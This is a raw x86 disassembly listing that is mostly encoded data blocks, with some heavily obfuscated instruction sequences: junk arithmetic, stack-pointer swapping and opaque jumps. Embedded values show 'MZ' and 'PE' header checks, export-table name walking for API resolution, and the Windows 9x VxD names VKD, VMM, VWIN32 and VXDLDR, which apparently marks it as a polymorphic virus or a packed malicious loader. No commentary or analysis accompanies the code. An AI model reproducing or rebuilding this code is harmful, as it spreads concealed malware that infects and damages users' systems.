8104246Ch, 16042444h, 45000000h dd 7477C355h, 0BD8DFC46h, 61F1599h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0C7C35646h, 0AD34E372h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B0C35141h, 0B0CC67C2h dd 207BCDB2h, 28247C81h, 10000000h, 116870Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0F8E855C3h, 0B21132BAh, 8E964h, 0EA510000h, 0C989CAFFh dd 8B604A66h, 1F0E498Dh, 870F6006h, 0 dd 10E9h, 3B535F00h, 8F6331D6h, 0AB873386h, 0B7365AE1h dd 50616142h, 66D68B60h, 618056BAh, 0E9240489h, 0Ah, 6732E88Fh dd 0B369137Ch, 850F6BA6h, 6, 1DBD8509h, 448B061Fh, 6A2C24h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 6066CFC3h, 0EDB9244Fh, 0F08B6090h, 3C08BF66h, 800F5061h dd 12h, 870F5250h, 0 dd 5250310Fh, 585A310Fh, 2990585Ah, 1F0BB995h, 99D8906h dd 8D061F21h, 22530585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0AF12CC09h, 13E9h, 1D2E2F00h dd 0F261B5DBh, 0C10D4BCh, 0CC228136h, 0B80A329Dh, 9589D0FFh dd 61F1249h, 28244403h, 30FD9D89h, 3160061Fh, 1F0695BDh dd 0C3B70F06h, 1F9AB61h, 1F06359Dh, 8DFF5E06h, 6227985h dd 7985BD83h, 75000622h, 8DC0330Ah, 22887EB5h, 56E6FF06h dd 247C81ADh, 28h, 500E7710h, 2C24448Bh, 5858D50h, 0FF062253h dd 244403D0h, 0DF8B9728h, 7981858Ah, 0C0840622h, 73A0474h dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh, 0C033D18Bh dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h dd 85FF04C6h, 61F106Dh, 0FFFF5DE9h, 89FC5EFFh, 1F188585h dd 6D858B06h, 0FC061F10h, 3F8E0D1h, 1F159985h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 2AEFF485h, 0DAF0D347h, 0BED70Eh, 0E9000000h, 0Dh, 7017AF46h dd 0BF1CA08Ch, 0B5A9B294h, 6A9667h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 2156A8C3h dd 1C6F2DE4h, 0E902EF3Ch, 0Ch, 369AF910h, 70F1ABF7h, 662E96C6h dd 14E9AD66h, 3C000000h, 6A2F5A20h, 97A40C7Eh, 64E0AC5Ch dd 0AD1E8600h, 0FFB0CC3h, 1687h, 11E900h, 699E0000h, 0B1DF8B10h dd 0E42BFAFBh, 0D0C23B9Fh, 0C160A2E4h, 8D2902E0h, 61F0225h dd 24958503h, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 8960F6C3h, 1F0FC185h, 0F5B53106h dd 61061F02h, 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0A127EC58h, 89723295h, 1F2A358Dh dd 9D01AD06h, 61F0B35h, 24247C81h, 10000000h, 0AE870Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 551C16C3h, 0F3816660h, 11E92E41h, 88000000h dd 3D9C732h, 3983452h, 0BB96AD83h, 0B8182578h, 0CE99061h dd 0FF000000h, 4D9BFDA1h, 7BE25099h, 502CC7CFh, 0D98B6660h dd 5B5B5156h, 870F9061h, 0Ch, 6880Fh, 95890000h, 61F0D51h dd 2824448Bh, 2A3D9509h, 9501061Fh, 61F0D41h, 28F0F50h dd 60000000h, 24048961h, 1A5D8D89h, 858D061Fh, 6225305h dd 6890Fh, 0BD290000h, 61F1DADh, 2960D0FFh, 1F2DE59Dh dd 19958906h, 61061F00h, 24244403h, 158D8960h, 8B061F1Ch dd 1F2F058Dh, 44896106h, 6A1C24h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 19A62C3h, 6FF8638Ch dd 8B608271h, 1F02798Dh, 4DB50906h, 61061F30h, 148C0Fh dd 810F0000h, 0Eh, 9E9h, 5578CB00h, 34E5628Bh, 85C65AC5h dd 61F2025h, 0B385C700h, 6227Ah, 0C7000000h, 22798985h dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 0E4A752DCh, 880F6D5Bh, 1, 399D29F8h dd 61061F24h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 78C35040h, 14E9756Ch, 69000000h, 0A9EB6847h, 0D588D5BCh dd 5A15606Ch, 7AF51282h, 0F50226B6h, 6A0008C2h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0F968C352h, 0F0E22F82h, 0A7BCD393h, 18C9B589h, 858B061Fh dd 61F2495h, 7860Fh, 66600000h, 0D88BD08Bh, 0BF0F6061h dd 585053D6h, 6A4A6159h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0C7ADC350h, 0E6689C5Ah dd 0A1858929h, 6B061F18h, 0FF504D2h, 687h, 21858900h, 3061F30h dd 57006AC2h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 8E15ECE6h, 95895A4Eh, 61F120Dh, 0B9BD0996h dd 0AD061F00h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 30C35242h, 54862672h, 0DB5B509h, 7C81061Fh, 2424h dd 870F1000h, 12Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 9EC35646h, 662C3B31h, 0C3D2537h, 12E9h dd 0EDDF9700h, 68E5CE52h, 0E451A599h, 37F7625Dh, 904DC37Ch dd 0EE9h, 7BD25200h, 8302135Fh, 3B8D55A2h, 50F59958h, 0BBCE8B60h dd 438D4886h, 6A9061h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0FCC93AC3h, 6F59D29h, 800F061Fh dd 0Eh, 9E9h, 0EDA18F00h, 5D0C4D34h, 448B231Ah, 6A2824h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0DE61E9C3h, 33AB2903h, 0E998489Ah, 10h, 73A60B88h, 1D0E001Ch dd 111786FBh, 3F4A8BFDh, 5AB66050h, 24048961h, 0FD9B509h dd 858D061Fh, 6225305h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0E6C35040h, 0C10376D6h, 8E98Dh, 0EA6A0000h dd 469264FAh, 0D0FF85F1h, 9E9h, 57C9A800h, 0B9781F02h dd 860FFDD9h, 6, 0A41B589h, 1E9061Fh, 29FFFFFDh, 1F2AF595h dd 0E4858D06h, 0F06228Eh, 0D8Bh, 0BD236000h, 61F06C9h dd 44FA5EBFh, 0F506159h, 1384h, 60525000h, 0E9310F61h dd 6, 6429B214h, 585AEFFBh, 89240489h, 1F0DD1BDh, 0FF64F906h dd 35h, 81666000h, 0F4CE7C9h, 288h, 615F5600h, 6A24048Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 5FE7C353h, 0AFA6AFEFh, 1558D77h, 1F243985h dd 0BD858906h, 0F061F2Dh, 686h, 51850100h, 64061F06h, 2589h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 1DBF5BC3h, 44CA1022h, 5F99D09h, 858D061Fh dd 6228C86h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0A9C35545h, 9509A27Fh, 61F1D01h, 60016089h, 1B2DB52Bh dd 9D89061Fh, 61F2F95h, 29FE961h, 0B5090000h, 61F1015h dd 0E8DB8Bh, 5D000000h, 8C7FED81h, 9CBC0622h, 830012FFh dd 1F09CDBDh, 18740006h, 1751858Bh, 0C6061Fh, 15858B00h dd 0C6061F02h, 95FF0000h, 61F0EE1h, 8DB5FF60h, 8D062275h dd 22759185h, 858D5006h, 6227789h, 0A195FF50h, 83061F00h dd 6A610CC4h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0F9C0C353h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0BC35747h, 0F33C0DDh, 780h dd 18B0F00h, 0F5000000h, 7789B58Dh, 6A0622h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0A54313C3h dd 0BD8991E3h, 61F0B91h, 11E9h, 5A190900h, 0A76B043Eh dd 1D037227h, 0A48F515Eh, 95894728h, 61F20F9h, 365BD8Dh dd 6A061Fh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 1554EC3h, 6880FB5h, 31000000h, 1F1F4D8Dh, 3E8006h, 7E840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 9D8943C3h, 61F2E6Dh, 11D19589h, 6AA4061Fh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0C69AC350h, 3A2AF8F8h, 898D0360h, 29061F05h dd 1F2A498Dh, 9AE96106h, 6AFFFFFFh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 6836C357h dd 0D6DD99F0h, 6AC02Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0D71005C3h, 2519B21h, 18840Fh, 0E8600000h dd 0Eh, 0B4DD571Ah, 15C1A0Ch, 0F33FAFFEh, 8B58BC95h, 0FAA61FBh dd 187h, 2960F800h, 1F06059Dh, 67F0B906h, 0B86173E8h, 7 dd 0CF9B529h, 85C7061Fh, 61F0F79h, 1, 194DBD89h, 8D8D061Fh dd 61F4DB0h, 0E8E0Fh, 89600000h, 1F32ADBDh, 8D958906h dd 61061F1Bh, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0CEC8C7C3h, 0D5A3B0E3h, 71950155h dd 0E9061F18h, 0Eh, 0B359090Ch, 6E8B7196h, 76E494D9h, 85896B71h dd 61F126Dh, 0C245C8Bh, 0E855h, 815D0000h, 228EEEEDh, 0B8838B06h dd 89000000h, 22758D85h, 78858D06h, 8906228Ch, 0B883h dd 0C0335D00h, 0FE9C3h, 0FD570000h, 3A03C121h, 0AF61685Dh dd 2ABE9BF8h, 0AE940h, 8DC40000h, 0D7FF2D34h, 6BBEEA36h dd 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0C5398F9Ch, 8F9E7A0Dh, 858D3C8Bh, 6229144h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 81C35545h dd 2725613Eh, 0BD89B280h, 61F1C4Dh, 0BA576090h, 869DC9Ch dd 0F506158h, 682h, 61606000h, 90616160h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 81C35242h, 0BECB9293h dd 198D895Ah, 64061F24h, 35FFh, 0FE90000h, 0A7000000h dd 0EBC3322Ch, 58D5CC7Ah, 0A090F23h, 896437ADh, 25h, 9D896000h dd 61F2735h, 0DDE18151h, 5B03DBB2h, 0CC858D61h, 6A062291h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0C49CC351h, 1F24A56Ah, 992972Ah, 1F13E5BDh dd 1608906h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 53C35747h, 23FB6837h, 6085F740h, 0CD08166h, 558D8BB8h dd 61061F30h, 202585C6h, 6A4F061Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 8003C357h dd 72331368h, 12800FA2h, 50000000h, 890F52h, 0F000000h dd 8C0F31h, 5A000000h, 24348158h, 5CBA4739h, 12E95360h dd 45000000h, 49183CD7h, 1CAEBF96h, 67E2844Dh, 938D3DACh dd 0FF61595Eh, 1F3271B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0E9BBA400h dd 0Ah, 0ABFA7B0Fh, 0BA24FAAAh, 858D7086h, 6227993h, 6820Fh dd 95890000h, 61F1485h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0F78271C3h, 70A5FED7h dd 3D95016Ah, 60061F11h, 0C8EE8166h, 611EB1B7h, 8FE9h dd 1830F00h, 0F8000000h, 0C245C8Bh, 0E855h, 815D0000h dd 22914EEDh, 0D9858B06h, 89061F20h, 1F327185h, 51858B06h dd 89061F2Ch, 1F2A7985h, 0E5858B06h, 89061F1Bh, 1F136D85h dd 2585C606h, 61F20h, 7AB385C7h, 622h, 858D0000h, 62291CCh dd 0B88389h, 335D0000h, 5160C3C0h, 8E95Ah, 61F50000h, 123514B2h dd 6A61385Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0E969C355h, 0BD981E4Bh, 12FF74BCh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0E5992836h, 0B99D8B60h, 0E9061F31h, 5, 729BAC45h dd 8F64616Fh, 5, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0FF00658h, 1380h, 0EE900h dd 7A10000h, 0A1FF670Bh, 994D9BFDh, 0CF7BE250h, 6004C483h dd 9E9h, 0AFDC9600h, 595516CDh, 0B70F9E37h, 0EB6161D8h dd 5FFDA704h, 5F4E934h, 0C9E30000h, 0A8FDC138h, 8E1CE057h dd 7138FC73h, 5353178Eh, 31EB37AEh, 10877A2Ch, 31A8674Ch dd 4FC63B6Dh, 6CE31C8Bh, 0A67E2AA3h, 3919B10Fh, 62458E01h dd 4F570B9Dh, 0EEAE3BB2h, 946D3BBAh, 92B65EF0h, 0B965C5E2h dd 1FD3A1E1h, 0A31CC074h, 0BEBBC2E3h, 0A8073C7Fh, 489BC165h dd 0A662E66Ch, 2EE27498h, 40F48679h, 0FE089A65h, 0F5B26F6Fh dd 4606930Ah, 0CD7DA160h, 77AD26DBh, 17D05F8Ah, 0FA719546h dd 168F7236h, 2DD95156h, 1FD36C55h, 0FE9034E8h, 0FC03A656h dd 219246D8h, 4BCA5CEEh, 0E71A8E93h, 4FBAC70h, 6CFDD272h dd 96131FD3h, 0AE5AD769h, 1FD36CD6h, 0A205B569h, 17A95651h dd 2F39CB6Fh, 0C2EF3EA0h, 7BB1A737h, 1FA4F9C6h, 63F91D0Ah dd 0F094F016h, 96B7h, 62454400h, 0A1441CC8h, 17D71FD3h dd 0A7CD718Eh, 0CE72AEC4h, 0D6680CF5h, 0D2D86436h, 6E70FB1Fh dd 94758CCDh, 121F0h, 45AE0000h, 66269F60h, 832BBD44h dd 8C19CD5Fh, 0C571FA73h, 1FD3A1EDh, 5CA6CC80h, 390FD827h dd 5AD7698Dh, 1D4D25D1h, 2CE01FD3h, 27605306h, 4D711A4Bh dd 61F30C9Dh, 0ADF9FAADh, 761AC254h, 877A30E4h, 0E8F671F5h dd 0EE926F39h, 9C8559E8h, 44BBEA09h, 426529A0h, 0A058773Bh dd 0D3421CF4h, 0D5FBAF1Fh, 0EBBE44CAh, 36DA8214h, 45A41B92h dd 5A0EA061h, 9E22B44Bh, 679DBB23h, 329B159Fh, 5E0E3293h dd 8F9AD48h, 18E7C276h, 9559D074h, 946C1812h, 271FD2C6h dd 893DCF73h, 0EC4EE021h, 0FFCA716Dh, 2EF09461h, 0BCh dd 0A06145BBh, 487CF127h, 0BE002CFEh, 0DB8315ECh, 0CD811337h dd 889224DDh, 0EA73E5F9h, 0D2D4663Eh, 2145F91Fh, 55CC3571h dd 629D08C8h, 540428D0h, 0F906A352h, 0BD46C355h, 0D2D43911h dd 0F418CC1Fh, 89A6544h, 19AB5654h, 756BF1EFh, 0E696AA46h dd 2CB042CDh, 0A2002DB1h, 4980BB23h, 4F09436h, 799D6444h dd 95E0h, 67215700h, 0A9000339h, 4569CCF0h, 910EA061h dd 9A2CD5D1h, 9D41C0E6h, 0A0DFC979h, 0CEACA50Ch, 0D6680C85h dd 36708322h, 0E19527CBh, 2AA739C6h, 0D39CA67Eh, 7F85391Fh dd 95BDEEF0h, 5B4F5501h, 0E16EA94Dh, 36719221h, 0EB9325C9h dd 8F924CC7h, 0FC73EA17h, 269F6045h, 99BD4466h, 0A1926707h dd 1A81FD3h, 0EDB86CFEh, 6FEE8012h, 691BE6Fh, 4BF780D8h dd 1FD3A173h, 0A1421AC6h, 21D51FD3h, 0DBB35FE8h, 6E1FD3A1h dd 5CF216BAh, 0F094BC1Dh, 1B0h, 65453D00h, 59EB1690h, 5AA701B1h dd 0EA7C20C8h, 0FC8E7136h, 2EF3EB6Ah, 0FD0F037Ch, 74CC96Bh dd 360AE28Eh, 0E99D1FD3h, 0D067CE45h, 1C0E44BDh, 62EC9852h dd 0A551CAEEh, 15F08344h, 827F29E9h, 98773CF0h, 0B692CEF4h dd 3B563D96h, 56510597h, 367030A9h, 748D1BCBh, 9F163AE2h dd 0A133CCDBh, 0F27C2F01h, 8F644325h, 0B446EA17h, 0CA5CB300h dd 825B938h, 81A03ECDh, 4CBC5726h, 49DB2BBAh, 3D6A2EA5h dd 2B7C30C2h, 0D5255BD4h, 88A265DEh, 189C2E52h, 926A169Fh dd 2525F21Ah, 0CD24D71h, 0F66D9215h, 753B0D4Ch, 13CA009h dd 0A22D0000h, 0FE870095h, 0A3126B3Eh, 8A062FD8h, 0E27EA246h dd 15F04C1Dh, 7D55018Ah, 1025F24Ch, 8AC6350h, 65F7ABE4h dd 9209F6B1h, 8D1AD9CEh, 2CBE4166h, 0AA3CE084h, 0BC4EB1F6h dd 21BD38h, 54E158A7h, 58EA1594h, 0A3F68CB0h, 4A0975E9h dd 59h, 0EDBC7CD7h, 9A9BEE12h, 6AD27EF7h, 0DD1FD3A3h, 0D2768B1Dh dd 0A2C8A040h, 0C1E41FD3h, 2482AC3Eh, 7D4E50E0h, 0E60D9C4Ch dd 7AF41C0h, 881DD163h, 627CF777h, 0DB038ECBh, 86FF92A3h dd 0D46172DAh, 0BA31E51Fh, 0A18Bh, 6A3EFE00h, 3FE31C8Bh dd 54AFC619h, 5B7F177Dh, 0F495A2F8h, 169D4DB4h, 30DC55F9h dd 15F0BAA7h, 22D6681Ch, 41017A85h, 5F079966h, 0A700C43Bh dd 13A9DF58h, 235CA7A0h, 6A6385Ch, 25F32837h, 6EB32BBAh dd 0E84FC639h, 38C13A4Fh, 42D43B78h, 2826FE9Ah, 5B925F3h dd 310935DFh, 4165C567h, 5FAF1CC8h, 0F62C1C13h, 83E16D95h dd 4B029A1h, 2C15212Ch, 0D5670BBFh, 386D8621h, 0FF9123C7h dd 17205E80h, 0B070F972h, 0CF7709F8h, 1BDE9FA9h, 0B2D654D6h dd 360CA916h, 7F26E622h, 6F235C80h, 95A281F8h, 6EDB8700h dd 0AB15F435h, 0B547C8EBh, 27B0E90Dh, 0F634A37Bh, 32763625h dd 0F5872BCFh, 22996641h, 0AA495Eh, 23C76F01h, 45BCEAAAh dd 5EF01195h, 600092B6h, 0CFD159B0h, 5107D766h, 58EA1791h dd 56FA05A4h, 0DA258232h, 542CD861h, 0E7587399h, 0D4980F33h dd 778A20D3h, 7993DE5h, 17A95653h, 28BA4763h, 38CA3574h dd 0EE3F9F2Eh, 24FDE160h, 41057C83h, 0E8079966h, 1Eh, 1C0E9B5Bh dd 73999870h, 0D3772B58h, 0B7739941h, 0ECD0C3A9h, 7C99FC20h dd 0F115ECBCh, 67453CA3h, 5354089Ah, 42661AACh, 3A792DBFh dd 178F43D5h, 2A458EAh, 0F0B96DFFh, 0E1C97D0Fh, 0CBDA8E20h dd 5386A234h, 0C3815B54h, 4, 8704EB83h db 1Ch, 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 742Fh mov [esp], ebx push esi push eax mov eax, 286E09B2h add eax, 0E922F70Dh mov esi, eax pop eax dec esi xor esi, 17B392DCh mov ecx, esi pop esi push 10D9h mov [esp], esp add dword ptr [esp], 4 pop ebx push ecx push ebp mov ebp, 39971730h sub [esp+4], ebp pop ebp pop dword ptr [ebx+8] add dword ptr [ebx+8], 39971730h mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_535A7A ; --------------------------------------------------------------------------- dw 0A90Bh dd 0B7B8561Ch, 3062297h, 8CE0FFC5h, 4E5E5377h, 86AFC13h dd 5569B16Bh, 0DB3E6904h, 4D10ACC3h, 592CDEA7h, 7F23A259h dd 9272D7DBh, 1F3194C4h, 881B58B0h, 9F2FEFBEh, 0BF7AF44Eh dd 312A6909h, 6A705127h, 806A3946h, 9F6796B7h, 27683226h dd 7A512391h, 0C0622534h, 0F65ABCA7h, 8B10918Fh, 0D5106BD0h dd 0E849BE2Fh, 10h, 0BDD19AD2h, 0ACFEACD2h, 6D16D5AAh dd 0E184BA32h, 0F1816660h, 0B70F6A35h, 8A5E61F7h, 0D6C681FDh dd 0B900005Dh, 7FC19B66h, 175268h, 36FF5A00h, 58AFC980h dd 81CEB70Fh, 8242A4E8h, 0F88B6602h, 0ED48C081h, 0C88B5785h dd 0E3F2C081h, 850F74C6h, 0Ah, 5E9h, 81909600h, 6890BF4h dd 58C0Fh, 0ABB90000h, 8151886Eh, 1C8A19EEh, 0AFC7812Bh dd 8100625Dh, 1C8A15C6h, 0DABF0F2Bh, 0A7850F4Ah, 0FFFFFFFh dd 582h, 9234BF00h, 83E90043h, 53000000h, 57565251h, 1C245C8Bh dd 4D3B8166h, 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h dd 850F4550h, 57h, 3785B8Bh, 8B1C245Ch, 74032473h, 8B561C24h dd 738B207Bh, 247C031Ch, 24740320h, 0C983FC20h, 5C8B41FFh dd 178B1C24h, 20245403h, 8A04C783h, 74C08402h, 75033A08h dd 0EB4243E8h, 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh dd 5F1C2444h, 5B595A5Eh, 330008C2h, 0FFF1E9C0h, 0CA8BFFFFh dd 464934EBh, 52474D53h, 4B562020h, 20202044h, 4D562020h dd 2020204Dh, 57562020h, 32334E49h, 58562020h, 52444C44h dd 2020h, 2 dup(0) dd 2FE90000h, 0F5000007h, 85C7F860h, 6229A06h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 95C35242h dd 8E0FFE7Fh, 12h, 0DE9h, 0AED46200h, 0D34A47EBh, 59572685h dd 0C68BD101h, 1830Fh, 0FF80000h, 13E9D8B7h, 0 dd 39C6350h, 0E563A767h, 7542B4EBh, 4BBB9759h, 0C1F9C2F0h dd 6A10E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 6C3F42C3h, 0BD2E0F12h, 66FCB9D9h, 6008C8C1h dd 0BECEB70Fh, 0ACFBB0Ch, 0A858961h, 6A06229Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 194FC357h, 326960F0h, 0F560DAFEh, 2870Fh, 5E530000h dd 0CBC16661h, 8F0F6008h, 2, 0D0819BB7h, 46B23FFEh, 40FB8361h dd 7F850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 492FCFC3h, 0AC3008C3h, 0DEBD8D54h dd 6A062299h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0A521C352h, 4C6A9529h, 1890F60h dd 0FC000000h, 1890F61h, 0F8000000h, 1BCE9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 7D3D5CD6h, 0DFB83CDh, 6D850Fh, 830F0000h, 0Ch, 68F0Fh dd 8D0F0000h, 0 dd 12870Fh, 0DE90000h, 0A000000h, 0E7F23A96h, 0D503EAEDh dd 0CA603BB5h, 99E6BD8Dh, 6A0622h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 7D286C3h, 0AB84962h dd 13CE9h, 10850F00h, 0E9000000h, 0Bh, 9AEF649Dh, 0F334AB4Ch dd 839E1FF8h, 850F01FBh, 55h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0EFC35242h, 5580008Eh, 99D49363h dd 99EEBD8Dh, 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 55B80AC3h, 0CFE9F5h, 66600000h dd 0DE8BF38Bh, 2AFB8361h, 8E850Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 3C1BBCC3h dd 2DD0C1FCh, 0E98F00A3h, 14h, 0FDD9B978h, 0AB40C783h dd 1F5B8E18h, 2E510FDBh, 80CA04EFh, 8840Fh, 66600000h dd 8A8E97BEh, 0BD8D61C5h, 62299F6h, 40EA8160h, 564D2066h dd 0BE9h, 0F2E98E00h, 0C4120BB4h, 97175C10h, 8160615Fh dd 0A62633EEh, 880F574Ch, 0 aAs db '[aé>',0 db 2 dup(0), 0Fh dd 786h, 1850F00h, 0FC000000h, 0F27FB83h, 25C85h, 14E86000h dd 0B2000000h, 0CF7F2C02h, 0E65F68FBh, 0BBF8CFE6h, 37BE68Ah dd 8B3ADAB4h, 0E28058CEh, 0BD8D6101h, 62299FEh, 0EBD89F9h dd 6A06229Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 1844C355h, 8860FC1h, 0F000000h dd 288h, 66616000h, 0DE9C88Ch, 22000000h, 0B1ED0C7Dh, 85CE3219h dd 0FD8CFBF3h, 0E9600324h, 10h, 462BEC3Ch, 1AA9E1B8h, 0CB4DD57h dd 0FE015C1Ah, 3F08166h, 0C00A61F6h, 14C850Fh, 0F600000h dd 685h, 8D0F00h, 61000000h, 104FBE60h, 0B8667C0Fh, 8D610DB2h dd 229FF1B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 6FDE9525h, 40D7F907h, 6660A69Bh dd 0E381CF8Bh, 188FAB1Eh, 0EE961h, 22280000h, 0CF10AD2Dh dd 9382B582h, 77FC6A65h, 0A0CC858Bh, 6A0622h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0B4833CC3h dd 83480B5Ah, 11E950h, 60770000h, 0ED51CCB6h, 0B39E16A4h dd 8D37DEEDh, 89407695h, 840F2414h, 1, 4C010FF9h, 5AF5FE24h dd 8160FC60h, 2016E5C3h, 0DF8B665Bh, 83F56161h, 9E924C2h dd 7F000000h, 2F0C3787h, 687C2E4Ch, 0FC728966h, 1C880Fh dd 8B600000h, 13E9D7h, 6CDB0000h, 0DCD02AEEh, 0A4C18881h dd 617856Ah, 67BDC4C5h, 0CEC161F1h, 1870F10h, 0F8000000h dd 2728966h, 12E9h, 87FEA900h, 1A8E298Ch, 139D9F76h, 1BA20158h dd 0CDB021EAh, 15850F04h, 0F000000h, 0F80h, 0AE900h, 0BD480000h dd 0B0301CC3h, 0C79F6096h, 4DE9h, 800F6000h, 3, 0B4F78B66h dd 858B6153h, 622A0CCh, 0F1B58DF5h, 0F506229Fh, 4BA8858Dh dd 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 9E16A4C3h, 0FDEEDB3h, 180h, 0FFFCF800h, 8589FCD0h dd 6229A06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0EDC35040h, 13E912h, 113C0000h, 6EF9FC94h, 5693C59Fh dd 9895E7AAh, 0AF677B7Ah, 6A61EEh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0DFA753C3h, 0A2A8277Dh dd 11E97Ch, 367D0000h, 7C1E87F0h, 5C865EF8h, 0DBA75CDh dd 0F2F4D29h, 181h, 858BF500h, 6229A06h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0AEC35747h, 5546FE06h dd 0DD127AC9h, 6AC3F9C1h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0F76C352h, 189h, 0F960F500h dd 810F50h, 58000000h, 6A6061h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 3EAD5BC3h, 168D3EF5h dd 78A0Fh, 8D0F0000h, 1, 0CCBD83FCh, 622A0h, 8B850Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0E8606DC3h, 0Ah, 0F494A953h, 3B2ADB5Ch, 0FE972AFh, 3000000h dd 3DD78C95h, 0DB9E6EF6h, 0D98F3C3Ch, 66585C7Bh, 6061F18Bh dd 59C88B53h, 58A0Fh, 2ABA0000h, 6110743Eh, 0A0CC85C7h dd 13F0622h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 